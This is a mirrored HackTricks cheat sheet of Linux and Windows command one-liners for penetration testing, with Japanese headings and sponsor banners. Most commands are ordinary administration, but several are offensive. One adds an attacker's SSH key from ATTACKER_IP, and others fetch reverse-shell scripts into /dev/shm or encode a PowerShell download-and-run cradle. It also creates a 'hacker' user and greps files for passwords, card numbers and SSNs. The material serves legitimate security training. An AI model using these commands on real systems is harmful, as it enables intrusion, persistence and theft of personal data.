mirror of
https://github.com/carlospolop/hacktricks
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348 lines
16 KiB
Markdown
348 lines
16 KiB
Markdown
# 便利なLinuxコマンド
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
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今すぐアクセスしてください：
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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<details>
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<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
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HackTricksをサポートする他の方法：
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* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
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* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
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* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
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* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
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* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出**してください。
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</details>
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## Common Bash
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```bash
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#Exfiltration using Base64
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base64 -w 0 file
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#Get HexDump without new lines
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xxd -p boot12.bin | tr -d '\n'
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#Add public key to authorized keys
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curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
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#Echo without new line and Hex
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echo -n -e
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#Count
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wc -l <file> #Lines
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wc -c #Chars
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#Sort
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sort -nr #Sort by number and then reverse
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cat file | sort | uniq #Sort and delete duplicates
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#Replace in file
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sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
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#Download in RAM
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wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
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wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
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curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
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#Files used by network processes
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lsof #Open files belonging to any process
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lsof -p 3 #Open files used by the process
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lsof -i #Files used by networks processes
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lsof -i 4 #Files used by network IPv4 processes
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lsof -i 6 #Files used by network IPv6 processes
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lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
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lsof +D /lib #Processes using files inside the indicated dir
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lsof -i :80 #Files uses by networks processes
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fuser -nv tcp 80
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#Decompress
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tar -xvzf /path/to/yourfile.tgz
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tar -xvjf /path/to/yourfile.tbz
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bzip2 -d /path/to/yourfile.bz2
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tar jxf file.tar.bz2
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gunzip /path/to/yourfile.gz
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unzip file.zip
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7z -x file.7z
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sudo apt-get install xz-utils; unxz file.xz
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#Add new user
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useradd -p 'openssl passwd -1 <Password>' hacker
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#Clipboard
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xclip -sel c < cat file.txt
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#HTTP servers
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python -m SimpleHTTPServer 80
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python3 -m http.server
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ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
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php -S $ip:80
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#Curl
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#json data
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curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
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#Auth via JWT
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curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
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#Send Email
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sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
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#DD copy hex bin file without first X (28) bytes
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dd if=file.bin bs=28 skip=1 of=blob
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#Mount .vhd files (virtual hard drive)
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sudo apt-get install libguestfs-tools
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guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
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# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
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ssh-keyscan 10.10.10.101
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# Openssl
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openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
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openssl x509 -in ca.cert.pem -text #Read certificate
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openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
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openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
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openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
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openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
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openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
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# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
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openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
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# Decrypt ssh key
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openssl rsa -in key.ssh.enc -out key.ssh
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#Decrypt
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openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
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#Count number of instructions executed by a program, need a host based linux (not working in VM)
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perf stat -x, -e instructions:u "ls"
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#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
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find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
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#Reconfigure timezone
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sudo dpkg-reconfigure tzdata
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#Search from which package is a binary
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apt-file search /usr/bin/file #Needed: apt-get install apt-file
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#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
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echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
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#Set not removable bit
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sudo chattr +i file.txt
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sudo chattr -i file.txt #Remove the bit so you can delete it
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# List files inside zip
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7z l file.zip
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```
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
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今すぐアクセスしてください：
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
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## Windows用のBash
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```bash
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#Base64 for Windows
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echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
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#Exe compression
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upx -9 nc.exe
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#Exe2bat
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wine exe2bat.exe nc.exe nc.txt
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#Compile Windows python exploit to exe
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pip install pyinstaller
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wget -O exploit.py http://www.exploit-db.com/download/31853
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python pyinstaller.py --onefile exploit.py
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#Compile for windows
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#sudo apt-get install gcc-mingw-w64-i686
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i686-mingw32msvc-gcc -o executable useradd.c
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```
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## グレップ
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```bash
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#Extract emails from file
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grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
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#Extract valid IP addresses
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grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
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#Extract passwords
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grep -i "pwd\|passw" file.txt
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#Extract users
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grep -i "user\|invalid\|authentication\|login" file.txt
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# Extract hashes
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#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
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egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
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#Extract valid MySQL-Old hashes
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grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
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#Extract blowfish hashes
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grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
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#Extract Joomla hashes
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egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
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#Extract VBulletin hashes
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egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
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#Extraxt phpBB3-MD5
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egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
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#Extract Wordpress-MD5
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egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
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#Extract Drupal 7
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egrep -o '$S$S{52}' *.txt > drupal-7.txt
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#Extract old Unix-md5
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egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
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#Extract md5-apr1
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egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
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#Extract sha512crypt, SHA512(Unix)
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egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
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#Extract e-mails from text files
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grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
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#Extract HTTP URLs from text files
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grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
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#For extracting HTTPS, FTP and other URL format use
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grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
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#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
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#Extract Floating point numbers
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grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
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# Extract credit card data
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#Visa
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grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
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#MasterCard
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grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
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#American Express
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grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
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#Diners Club
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grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
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#Discover
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grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
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#JCB
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grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
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#AMEX
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grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
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# Extract IDs
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#Extract Social Security Number (SSN)
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grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
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#Extract Indiana Driver License Number
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grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
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#Extract US Passport Cards
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grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
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#Extract US Passport Number
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grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
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#Extract US Phone Numberss
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grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
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#Extract ISBN Numbers
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egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
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```
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## 検索
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```bash
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# Find SUID set files.
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find / -perm /u=s -ls 2>/dev/null
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# Find SGID set files.
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find / -perm /g=s -ls 2>/dev/null
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# Found Readable directory and sort by time. (depth = 4)
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find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
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# Found Writable directory and sort by time. (depth = 10)
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find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
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# Or Found Own by Current User and sort by time. (depth = 10)
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find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
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# Or Found Own by Current Group ID and Sort by time. (depth = 10)
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find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
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# Found Newer files and sort by time. (depth = 5)
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find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
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# Found Newer files only and sort by time. (depth = 5)
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find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
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# Found Newer directory only and sort by time. (depth = 5)
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find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
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```
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## Nmap検索ヘルプ
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```bash
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#Nmap scripts ((default or version) and smb))
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nmap --script-help "(default or version) and *smb*"
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locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
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nmap --script-help "(default or version) and smb)"
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```
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## Bash
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BashはGNUプロジェクトの一部として開発されたUnixシェルおよびスクリプト言語です。BashはLinuxシステムで広く使用されており、システム管理や自動化のための多くの便利なコマンドを提供します。
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```bash
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#All bytes inside a file (except 0x20 and 0x00)
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for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
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```
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## Iptables
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## Iptables
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```bash
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#Delete curent rules and chains
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iptables --flush
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iptables --delete-chain
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#allow loopback
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iptables -A INPUT -i lo -j ACCEPT
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iptables -A OUTPUT -o lo -j ACCEPT
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#drop ICMP
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iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
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iptables -A OUTPUT -p icmp -j DROP
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#allow established connections
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iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
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#allow ssh, http, https, dns
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iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
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iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
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iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
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iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
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iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
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iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
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iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
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#default policies
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iptables -P INPUT DROP
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iptables -P FORWARD ACCEPT
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iptables -P OUTPUT ACCEPT
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```
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||
<details>
|
||
|
||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||
|
||
HackTricks をサポートする他の方法:
|
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|
||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||
* [**公式PEASS＆HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
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* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||
今すぐアクセスしてください：
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|